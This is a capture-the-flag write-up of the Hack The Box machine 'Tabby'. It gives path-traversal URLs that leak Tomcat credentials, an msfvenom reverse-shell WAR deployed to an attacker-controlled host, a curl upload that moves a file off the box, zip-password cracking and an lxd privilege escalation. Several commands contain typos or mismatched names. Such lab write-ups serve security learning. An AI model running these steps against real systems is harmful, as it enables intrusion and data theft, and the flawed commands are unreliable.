Hack The Box write up for Tabby

Tabby is a box on Hackthebox.eu.  It was a ton of fun and I learned a lot about Tomcat and LXD. This box was hard for me because I'm a novice. I ended up needing help from the HackTheBox discord forums. The folks there are very friendly and helpful.

This box was soooo cool.

Getting user

Nmap

I started this box like all boxes with an NMAP scan.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 13:05 CDT
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds

Not much here except ssh and http. Looks like Apache and Tomcat.

I browsed the website and saw this:

I browsed the tomcat server on 8080 and saw this:

Looks like the default tomcat page.

Let's run a dirsearch on both sites and see what we see:

python3 dirsearch.py -u http://tabby.htb -e *

Oh interesting. There is a file dir. Can't seem to get to it though. I also checked source on both sites and didn't see any clues. Then I clicked on the News page and saw this URL:

Looks like a candidate for some LFI. I tried reading the /etc/passwd file:

http://tabby.htb/news.php?file=../../../../etc/group

Yep. This is going to be helpful. Let's see if we can view any of those tomcat config files. This link helped me figure out the right path.

tabby.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

We can! Oh and look at that login:

So now we have a login that works for admin-gui and manager-script roles:

user: tomcat
password: $3cureP4s5w0rd123!

We can use the manager-script role to deploy a war file on the server which will give us a reverse shell.

Deploy commands for the tomcat manager-script interface look like this:

http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo

We need to build a war file first. Let's use msfvenom to do that.

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.26 lport=4321 -f war -o pwn.war

Make sure to change the lhost to be the IP of your machine. Now we need to setup a netcat to capture the reverse shell:

nc -lnvp 4321

One last thing we need to do. We need to run a simple http server to host our war file. We can do that with python:

python -m SimpleHTTPServer 80

No we can deploy the war file by going to this URL:

http://tabby.htb:8080/manager/text/deploy?war=http://10.10.14.26/pwn.war&name=pwn

Now visit the URL:

http://tabby.htb:8080/pwn

You should get a ping on netcat with a reverse shell. This shell won't be interactive so we should try to upgrade it.

python3 -c 'import pty; pty.spawn("/bin/bash")'

This is better, but we can still do better. Let's take a look in that files directory on the webserver that we saw earlier.

Looks like there is a 16162020_backup.zip file in there. Its in:

/var/www/html/files/16162020_backup.zip

That could have some interesting things in it. Unfortunately it is password protected. Let's move it over to our machine and crack it.

I moved it over to my machine using curl and a simple python script. Here is the python script I ran locally:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 8000

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()
curl -F 'file=@16162020_backup.zip' http://tabby.htb:8000

Then I cracked the password using:

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' 16162020_backup.zip

The password is:

admin@it

Turns out this is also the password for ash's account. We can su to ash on our netcat reverse shell:

su ash

Looks like we have write privs in /home/ash/. Let's generate an ssh key.

ssh-keygen
cp id_rsa.pub authorized_keys

Now copy the id_rsa key from the .ssh folder on to your local machine. chmod it:

chmod 600 id_rsa

Now try to ssh into the box:

ssh -i id_rsa ash@tabby.htb

You should have a full shell. Grab the user.txt file from /home/ash folder.

Getting root

Next I put linpeas.sh on the box by doing a wget from my SimpleHTTPServer:

wget http://10.10.14.24/linpeas.sh

Running Linpeas didn't show too much.

Groups is interesting. Looks like ash has lxd group permissions. We can use this to get access to root. This part was pretty complicated. Took me a few hours to figure it out. This article was helpful.

First we need to get a copy of apline-builder. I was able to do that with this on my local box:

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

Now we need to bring the built file over to our target box. Use the SimpleHTTPServer you still have running.

wget http://10.10.14.26:8000/lxd-alpine-builder-master.zip

Now we are ready to deploy it:

lxc init
lxc init ubuntu:16.04 test -c security.privileged=true 

Now we can get it setup.

lxc init myimage ingnite -c security.privledged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root rescursive=true

lxc start ignite

lxc exec ignite /bin/sh

This should drop you into a shell. What is cool about this exploit is that we now have root access to the full file system which is now mounted to /mnt/root/. Now you can just go grab the root flag.

cd /mnt/root/root
cat root.txt

This was my root flag:

93b84228c1ba86a98dc62c1b5346d8d4